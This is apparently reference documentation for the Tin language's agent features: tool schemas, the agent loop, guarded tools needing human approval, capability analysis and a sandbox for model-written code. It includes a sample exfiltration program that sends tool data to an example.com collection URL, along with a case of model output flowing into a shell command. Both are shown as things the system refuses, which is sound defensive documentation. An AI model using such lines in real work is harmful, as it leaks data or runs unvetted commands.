Sn Tin

Reference

Agents and tools

What the compiler generates from a tool fn and an agent, and exactly what the agent loop does at run time.

Tools

A tool fn is an ordinary function. You can call it yourself. Marking it tool makes the compiler also produce what a model needs in order to call it: a name, a description, and a JSON Schema for its parameters. The description is the /// comment above the function; a /// comment above a parameter describes that parameter.

type Unit = | Celsius | Fahrenheit

/// Look up the weather for a city.
tool fn weather(
  /// City name, for example "Istanbul"
  city: string,
  unit: Unit,
  /// How many days ahead; today if missing
  days: Option<int>,
): string => "sunny in {city}"

fn main() {}

This is what the compiler generates for it. tin tools file.tin prints the same thing.

{
  "name": "weather",
  "description": "Look up the weather for a city.",
  "schema": {
    "type": "object",
    "properties": {
      "city": {
        "type": "string",
        "description": "City name, for example \"Istanbul\""
      },
      "unit": {
        "type": "string",
        "enum": [
          "Celsius",
          "Fahrenheit"
        ]
      },
      "days": {
        "type": "integer",
        "description": "How many days ahead; today if missing"
      }
    },
    "required": [
      "city",
      "unit"
    ],
    "additionalProperties": false
  }
}

Because the schema is derived from the signature, it cannot disagree with the code. Rename a parameter or change its type and the schema changes with it.

Rules for a tool:

  • Parameters and the result must be data: numbers, bool, string, Duration, arrays, structs, sum types, Option. Functions, tasks and agents cannot cross to a model.
  • It cannot be generic. A model needs one concrete schema.
  • An Option parameter is optional for the model. Every other parameter is required.

What the model sees back

The toolThe model receives
returns a stringthat text
returns any other valuethe value as JSON
returns nothingok
returns Ok(x)x, as a success
returns Err(e)e, marked as a failed call
panics, or divides by zeroError: …, marked as a failed call
was sent arguments of the wrong shapewhich argument was wrong and why, marked as a failed call; the tool does not run

A failed tool call never stops the program. It goes back to the model as data, and the model decides what to do next. Use Result for failures you expect.

How types become schemas

The same mapping is used for tool parameters, tool results and typed replies.

Tin typeJSON SchemaJSON value
int{"type": "integer"}42
i64{"type": "string", "pattern": "^-?[0-9]+$"}: JSON numbers are exact only to 253, so a 64-bit value travels as text"1731660000000000000"
float{"type": "number"}1.5
bool{"type": "boolean"}true
string{"type": "string"}"text"
Durationa number of milliseconds250
T[]an array of T[1, 2]
a structan object; every field required except Option fields; no extra properties{"x": 1, "y": 2}
Option<T>the schema of T, and the field may be left outthe value, or null or absent for None
a sum type with no valuesa string limited to the variant names"Celsius"
any other sum typeone object shape per variant, told apart by a type field{"type": "Circle", "r": 2}

A positional variant such as Number(int) uses the field name value (then value2, value3). Doc comments on struct fields become property descriptions.

Agents

An agent binds a model, a system prompt and tools. Declared at the top level it has a name and exists once for the whole program. Written as an expression it creates a new agent each time, and its fields can use local values.

/// Add two integers.
tool fn add(a: int, b: int): int => a + b

agent Calculator {
  model: "mock"
  system: "You are a calculator."
  tools: [add]
  maxTurns: 8
}

fn main() {
  print(Calculator("please add 2 and 3"))

  let style = "pirate"
  let local = agent {
    model: "mock"
    system: "Answer like a {style}."
  }
  print(local("ahoy"))
}
mock: 5
mock: ahoy
FieldMeaningIf left out
modela model name, as a string$TIN_MODEL, then claude-opus-5-5
systemthe system promptnone
toolsa list of tool fn names and top-level agent namesno tools
maxTurnsthe most model calls one question may take20
maxTokensthe most tokens (input plus output) one question may use: no new model call starts once they are used, and each reply's output is capped to what is leftno limit
on …event handlersnone

An agent is called like a function, with one string. It also has these methods:

CallDoes
A("question"), A.ask("question")runs the agent loop and returns the answer
A.try("question")the same, but a failure is Err(AgentError) instead of a panic (below)
A.reset()forgets the conversation (the counters below keep counting)
A.fresh()a copy of the agent with an empty conversation
A.turns()how many model calls it has made since it was created (or restored)
A.tokens()input plus output tokens it has used
A.save()its conversation and counters, as a JSON string
A.restore(state)puts a saved conversation back: Ok(messages), or Err(why) if the text is not a saved agent or calls tools this agent lacks

An agent remembers its conversation: each call adds to the history the model sees. The conversation belongs to the runtime, not to a provider's session, so save and restore can keep it across a crash or move it to another machine (examples/agents/12-resume.tin). Agents are values of type Agent, so they can be stored, passed to functions and put in arrays.

The agent loop

Calling an agent runs this loop. It is part of the runtime, in the same way the event loop is.

  1. The prompt is added to the conversation as a user message.
  2. The model is called with the system prompt, the conversation, and the tool schemas.
  3. If the model's reply has no tool calls, its text is the answer. The loop ends.
  4. Otherwise every tool call in that reply runs, all at the same time, each as its own task. Their results go back to the model in one message, in the order the model asked for them.
  5. Go to step 2.

The loop also ends, as a panic (or an Err from A.try), when the model has been called maxTurns times for one question, when the question has used its maxTokens budget, when the model declines the request, or when its reply is cut off by the output limit. A turn cap exists by default because a model that keeps calling tools would otherwise run, and bill, without end.

Run any program with --trace to watch the loop:

$ tin run examples/agents/05-claude.tin --trace
[Calculator] turn 1 → anthropic.claude-opus-5-5
[Calculator]   call add({"a":17,"b":25})
[Calculator]   result add: 42
[Calculator] turn 2 → anthropic.claude-opus-5-5
[Calculator]   call multiply({"a":42,"b":3})
[Calculator]   result multiply: 126
[Calculator] turn 3 → anthropic.claude-opus-5-5
(17 + 25) * 3 = 126

Typed replies

The type you expect from an agent call decides the shape of the reply. With no expectation, or string, you get the model's text. With any other type, the compiler generates that type's schema and the runtime requires the model to answer in that shape. What comes back is a real value of that type.

type Size = | Small | Medium | Large

type Order = {
  /// What the customer wants to drink
  drink: string
  size: Size
  /// How many cups
  quantity: int
  /// Extra requests, if any
  notes: Option<string>
}

agent Clerk { model: "mock" }

fn main() {
  let order: Order = Clerk("Two cups please: 2 of the 'oat latte', Large")
  print(order)
  print(match order.size { Large => "use the big cups", _ => "regular cups" })
}
Order { drink: "oat latte", size: Large, quantity: 2, notes: None }
use the big cups

The expected type can come from a let annotation, a parameter, a return type, or any other place a type is known. An if condition expects a bool, so if Judge("Is this spam? …") { … } asks for a yes-or-no answer.

How it works: the runtime gives the model one extra tool, answer, whose parameters are the schema of the expected type, and tells it to finish by calling that tool.

  • If the model's answer does not fit the type, the mismatch is sent back as a failed call and the model corrects it.
  • If the model answers in prose, it is asked again, up to three times.
  • The model can still use the agent's other tools first.

A typed reply cannot be a bare float or Duration; wrap those in a struct.

When an agent call fails

A plain agent call either answers or stops the program with a panic. A.try(prompt) makes the same call but gives a Result<T, AgentError>, so a program can retry, fall back to another agent, or explain. The expected Result decides the reply's shape, as for a plain call; with no expectation, T is string.

/// Add two integers.
tool fn add(a: int, b: int): int => a + b
agent Hasty { model: "mock", tools: [add], maxTurns: 1 }
type Sum = { total: int }
agent Clerk { model: "mock" }
fn main() {
  match Hasty.try("add 2 and 3") {
    Ok(text) => print(text)
    Err(e) => print("no answer: {e}")
  }
  let s: Result<Sum, AgentError> = Clerk.try("the total is 7")
  print(s)
}
no answer: TurnLimit(1)
Ok(Sum { total: 7 })
AgentErrorWhen
TurnLimit(n)the model was called maxTurns times for one question
OverBudget(n)the question used its maxTokens budget of n tokens
Refused(why)the model declined the request
Cutthe reply was cut off by the output limit
NoAnswera typed reply was expected, and the model kept answering in prose
Failed(why)the model could not be called: no key, no provider for the name, offline, rate limited

A failed call leaves the conversation as it was before the question, so the agent can be asked again. A tool that panics is not an AgentError: its message goes back to the model as a failed call and the loop carries on. A stopped task is still stopped; try does not catch that. Bounding the time a call may take is within's job (see Sub-agents and concurrency).

Events

An agent can declare handlers that run while its loop does. They are how you stream text, log tool use, or show progress.

/// Add two integers.
tool fn add(a: int, b: int): int => a + b

agent Calculator {
  model: "mock"
  tools: [add]
  on text(chunk) => write("[{chunk}]")
  on toolCall(name, input) => print("calling {name} with {input}")
  on toolResult(name, output, ok) => print("{name} returned {output} (ok: {ok})")
}

fn main() {
  Calculator("please add 2 and 3")
  print()
}
calling add with {"a":2,"b":3}
add returned 5 (ok: true)
[mock: 5]
HandlerRunsParameters
on text(chunk)as reply text arrives; with a real model, many times per replystring
on toolCall(name, input)before a tool runsstring, and the arguments as JSON text
on toolResult(name, output, ok)after a tool finishesstring, string, bool

A handler may take fewer parameters than the event provides. Handlers cannot call a tool the agent was not given.

Guarded tools and approval

A guarded tool fn needs a person's approval each time a model calls it. The loop pauses, the runtime asks, and the tool runs only on a yes. On a no the tool does not run, and the model is told the call was denied and to continue without it.

/// Permanently delete a file.
guarded tool fn deleteFile(path: string): string => "deleted {path}"

agent Janitor {
  model: "mock"
  tools: [deleteFile]
}

fn main() {
  print(Janitor("deleteFile 'old-backup.zip'"))
}
mock: error: Tool call denied by the user. Do not retry it; continue without it.

That output is from the docs build, where nobody is there to approve. Who is asked depends on where the program runs:

WhereHow approval is asked
tin run in a terminala y/N prompt showing the tool and its arguments
tin run --yeseverything is approved
tin run without a terminal (a pipe, CI)everything is denied
the playgrounda browser confirmation, or the choice in the toolbar
your own hostthe approve function you pass to the runtime

The compiler checks the approval path

Approval at run time would be worth little if other code could call the guarded function directly. So the compiler proves that it cannot. The only way into guarded code is an agent offering a guarded tool fn to its model. From main, and from every unguarded tool, no call, function value or lambda may reach a guarded function. Plain functions can be marked guarded fn too, to protect a dangerous primitive that several tools share.

/// Move money. Cannot be undone.
guarded fn wire(to: string, cents: int): string => "sent {cents} to {to}"

fn payInvoice(id: int): string => wire("vendor-{id}", 100)

/// Pay an invoice by id.
tool fn pay(id: int): string => payInvoice(id)

agent Clerk { model: "mock", tools: [pay] }

fn main() {
  print(Clerk("pay 7"))
}
error: tool 'pay' can run 'wire', which is guarded, without anyone approving it
 --> main.tin:4:35
  |
4 | fn payInvoice(id: int): string => wire("vendor-{id}", 100)
  |                                   ^^^^^^^^^^^^^^^^^^^^^^^^
  = note: path: pay → payInvoice → wire
  = note: mark it `guarded tool fn pay` so the agent loop asks first
  = fix: mark pay as guarded

The error shows the path, and tin fix applies the suggested change. Because tool parameters are plain data and Tin has no global variables, the only code a tool can run is code its body refers to, which is why this check is exact and not a guess.

Calling a guarded tool yourself: approve

Plain code can call a guarded tool too, through approve. It shows a person the exact call, with its arguments, and runs the tool only on a yes. The result is Ok(value), or Err("denied: ...") when the answer is no (or there is no one to ask). For a tool with no result it is true or false. The compiler counts it as approved, like an agent offering the tool. The arguments are evaluated first, so what the person sees is exactly what will run: in approve deleteFile(pick()), pick() runs before anyone is asked.

/// Permanently delete a file.
guarded tool fn deleteFile(path: string): string => "deleted {path}"

fn main() {
  match approve deleteFile("draft.md") {
    Ok(msg) => print(msg)
    Err(why) => print("not done: {why}")
  }
}
not done: denied: deleteFile

A model's reply and outside code

What a model says may not reach JavaScript, an MCP server or Python unapproved, in main too. A value that comes out of agent.ask or agent.try, or anything computed from it (a field, an interpolation, an array it was pushed into, a helper's result), is from the model; passing it to an extern fn, directly or through your own functions, is a compile error:

import js "node:child_process" {
  extern fn execSync(command: string): string
}
agent Planner { model: "x", system: "Answer with one shell command." }

fn main() {
  let cmd = Planner.ask("what lists the files here?")
  print(execSync(cmd))
}
error: in main: a value from a model's reply reaches extern fn execSync without anyone approving it
 --> main.tin:6:1
  |
6 | fn main() {
  | ^^^^^^^
  = note: main gets text from agent.ask / agent.try and passes something computed from it to execSync
  = note: put the call in a `guarded tool fn` and call it with `approve`, so a person sees the exact arguments first
  = note: or match the reply against cases and call with values the program writes itself

There are two ways out, and no cast: approve a guarded tool, so a person sees the exact command, or decide in code and call with values the program writes itself. Branching on a reply is fine; only its data is held back.

import js "node:child_process" {
  extern fn execSync(command: string): string
}
type Listing = | Files | Hidden
agent Planner { model: "x", system: "Pick one." }

/// Run a shell command (a person approves each one).
guarded tool fn shell(command: string): string => execSync(command)

fn main() {
  let pick: Listing = Planner.ask("plain listing or with hidden files?")
  match pick {
    Files => print(execSync("ls")),
    Hidden => print(execSync("ls -a")),
  }
  let cmd = Planner.ask("anything else?")
  match approve shell(cmd) {
    Ok(out) => print(out),
    Err(why) => print("not run: {why}"),
  }
}

The check is conservative: the length of a reply is still from the model. Model output passed to a function value (a lambda, or a named function used as a value, such as the function given to map) counts as reaching every function of that type the program uses as a value. It does not follow values through a closure's captured variables or a task's result.

Capabilities

tin caps file.tin reports, for every agent, which tools its model can call freely, which need approval, and what those tools can do to the outside world. For this program:

/// Move money. Cannot be undone.
guarded tool fn wire(to: string, cents: int): string => "sent {cents} to {to}"

/// Read the balance.
tool fn balance(): int => 4200

/// Fetch a web page.
tool fn page(url: string): string => fetch(url).or("unreachable")

agent Teller { model: "mock", tools: [balance, wire] }
agent Browser { model: "mock", tools: [page] }
agent Manager { model: "mock", tools: [Teller, Browser] }

fn main() {
  print(Manager("hello"))
}
$ tin caps bank.tin
agent Teller
  tools:           balance, wire (guarded)
  can call freely: balance
  needs approval:  wire
  capabilities:    model

agent Browser
  tools:           page
  can call freely: page
  needs approval:  nothing
  capabilities:    model, net

agent Manager
  tools:           Teller (agent), Browser (agent)
  can call freely: balance, page
  needs approval:  wire
  capabilities:    model, net

tools
  wire     guarded  pure
  balance  free     pure
  page     free     net

Manager has no tools of its own, yet the report shows it can reach the network and needs approval for wire, because its sub-agents can. To ask about one function, use tin caps file.tin --reach wire.

CapabilityGranted by
modelcalling an agent
netfetch
inputinput
outputprint, write
envenv
clocknow, sleep
randomrandom, randomInt
spawnspawn

Not yet: capabilities are inferred and reported, but an agent cannot yet declare a limit such as "no network" for the compiler to enforce.

Sub-agents and concurrency

Agents compose with the rest of the language.

  • Sub-agents. A top-level agent listed in another agent's tools becomes a tool that takes one string, input. Its /// comment is the description the calling model sees.
  • Concurrency. spawn A.ask("…") runs an agent as a task. One agent holds one conversation, so calls to the same agent wait their turn; use fresh() for independent copies that run at the same time.
  • Pipelines. An agent is called like a function, so "question" |> Researcher |> Editor feeds one agent's answer to the next.
  • Time limits. spawn A.ask("…") |> within(5s) gives an agent a latency budget. If the limit passes, the task is stopped: a reply that arrives late is dropped, tool calls it asked for never run, and a tool that is running is stopped at its next pause. The answer is None.
/// Look up the population of a city, in millions.
tool fn population(city: string): float => match city {
  "Istanbul" => 15.7
  "Tokyo" => 14.0
  _ => 1.0
}

/// Knows facts about cities.
agent Researcher { model: "mock", tools: [population] }

agent Lead { model: "mock", tools: [Researcher] }

fn main() {
  print(Lead("ask the Researcher for the population of 'Istanbul'"))

  let tasks = ["Istanbul", "Tokyo"].map(c => spawn Researcher.fresh().ask("population of '{c}'"))
  for t in tasks { print(await t) }

  print(spawn Researcher.ask("population of 'Tokyo'") |> within(2s))
}
mock: mock: 15.7
mock: 15.7
mock: 14
Some("mock: 14")

Code as action

With code: true, an agent's model gets one more way to act: it can write a small Tin program that calls the agent's tools, and the runtime compiles and runs it. A task that would take a dozen separate tool calls becomes one round trip, and any arithmetic is done by the program instead of being estimated by the model.

type Reading = { day: int, celsius: float }

/// The cities that have a weather station.
tool fn cities(): string[] => ["Istanbul", "Oslo", "Cairo", "Lima"]

/// Last week's noon temperatures for a city, one reading per day.
tool fn readings(
  /// A city from cities()
  city: string,
): Result<Reading[], string> {
  let base = match city {
    "Istanbul" => 18.0
    "Oslo" => 6.5
    "Cairo" => 31.0
    "Lima" => 22.0
    _ => return Err("no station in {city}")
  }
  Ok(range(1, 8).map(day => Reading { day, celsius: base + float(day * 7 % 5) - 2.0 }))
}

agent Meteorologist {
  system: "You answer questions about the weather stations. For anything that needs several lookups or arithmetic, write one program with run_code. Be brief."
  tools: [cities, readings]
  code: true
  on toolCall(name, input) => print(if name == "run_code" { "  the model wrote a program" } else { "    program calls {name} {input}" })
}

fn main() {
  print(Meteorologist("Which city had the warmest average last week, and what was each city's average?"))
}
$ tin run examples/agents/09-code.tin

── the program the model wrote ──
fn main() {
    var best = ""
    var bestAvg = -1000.0
    for c in cities() {
        match readings(c) {
            Ok(rs) => {
                if rs.len == 0 {
                    print("{c}: no readings")
                } else {
                    let avg = sum(map(rs, r => r.celsius)) / float(rs.len)
                    print("{c}: {avg} ({rs.len} readings)")
                    if avg > bestAvg {
                        bestAvg = avg
                        best = c
                    }
                }
            },
            Err(e) => print("{c}: error {e}")
        }
    }
    print("warmest: {best} {bestAvg}")
}

── what the run printed ──
  the model wrote a program
    program calls cities {}
    program calls readings {"city":"Istanbul"}
    program calls readings {"city":"Oslo"}
    program calls readings {"city":"Cairo"}
    program calls readings {"city":"Lima"}
Cairo had the warmest average last week, at about 31.3 °C.

Average noon temperature for each city (7 daily readings each):
- Cairo: 31.3 °C
- Lima: 22.3 °C
- Istanbul: 18.3 °C
- Oslo: 6.8 °C

That is a real session, replayed from its recording while this page was built. The program is what Claude wrote, given the two tool signatures and a fifteen-line summary of Tin. What makes this safe to allow:

  1. The program is compiled before it runs. A type error goes back to the model as a failed call, with the compiler's message and its fix, and the model corrects it.
  2. The compiler checks what it can reach. The agent's tools are the only functions declared to the program from outside. Using the network, the environment, user input, another agent or spawn is refused before anything runs. This is the same reachability analysis as capabilities, applied to the model's code.
  3. It runs in its own WebAssembly instance. It has its own memory. A value crosses only as an argument to a tool or a result from one.
  4. Guarded tools still ask. A guarded tool fn called from the program goes through the same approval as when the model calls it directly.
  5. It has a budget. Every loop pass and call spends fuel; a program that runs too long is stopped and the model is told so.

For example, if the model's program tried to send data somewhere:

fn main() {
  let data = readings("Cairo")
  print(fetch("https://example.com/collect?d={data}"))
}
Refused before running: this program is not allowed to use the network (fetch). It may only compute, print, and call the functions listed in this tool's description.

A tool that returns a Result hands its Err to the program as a value. Any other tool failure, including a denied approval, ends the program and is reported to the model. Event handlers see the program as a run_code call, followed by each tool call the program makes.

Limits today: the step budget is fixed, memory use is not capped below WebAssembly's own limit, sub-agents cannot be called from code, and tools whose signatures use a generic struct are left out of what the program can call.

Models

The model field is a name: "mock", a Claude name such as "claude-opus-5-5", or "provider:model" for any other provider ("openai:gpt-5.1", "gemini:gemini-3-pro", "ollama:llama3.2", …). "a | b" falls back and "route(by: …; label: model)" routes. The providers page lists every provider, what it needs and how failures read.

Set TIN_MODEL to give agents without a model field a default. Claude is reached through the official Anthropic SDK in the CLI, which npm install adds; it is loaded only when a program calls one. TIN_PROVIDER=fetch skips the SDK and calls the Anthropic API with plain fetch, the same provider a browser uses. Without a key, an agent call stops with no model key: set …, or run offline …. How a web page or any other JavaScript host runs agents is in docs/HOST-API.md.

The mock model

model: "mock" never touches the network. It exists so that examples, tests and the playground can run the whole agent loop offline. It behaves like a very literal model:

  • Given a prompt, it calls every tool the prompt mentions by name, or the first tool if none is mentioned. Arguments are filled from the numbers and quoted strings in the prompt, in order.
  • Given tool results, it answers mock: followed by those results.
  • With no tools, it answers mock: followed by the prompt.
  • For a typed reply it fills the shape the same way.
  • It counts four characters as a token, so tokens() and maxTokens can be tried offline.

It is a test double, not a model. Its answers are only as meaningful as that description.

Record and replay

tin run file.tin --record tape.json saves everything nondeterministic the run took from outside: each model response, each fetch result, each line of input, and each random number. --replay tape.json runs the program again from the tape, with no model and no network, and prints the same output.

$ tin run examples/agents/05-claude.tin --record claude.json
…
recorded 5 model call(s) to claude.json
$ tin run examples/agents/05-claude.tin --replay claude.json     # offline, in milliseconds

This turns a conversation with a real model into a regression test. The examples that talk to Claude are tested this way, and the playground replays the same tapes. A model response is matched by a fingerprint of the request that produced it, so if you change a prompt, a tool or a schema, the replay stops and tells you to record again. It does not answer with a stale response.

Not recorded: the clock. A program whose prompts include now() will not replay.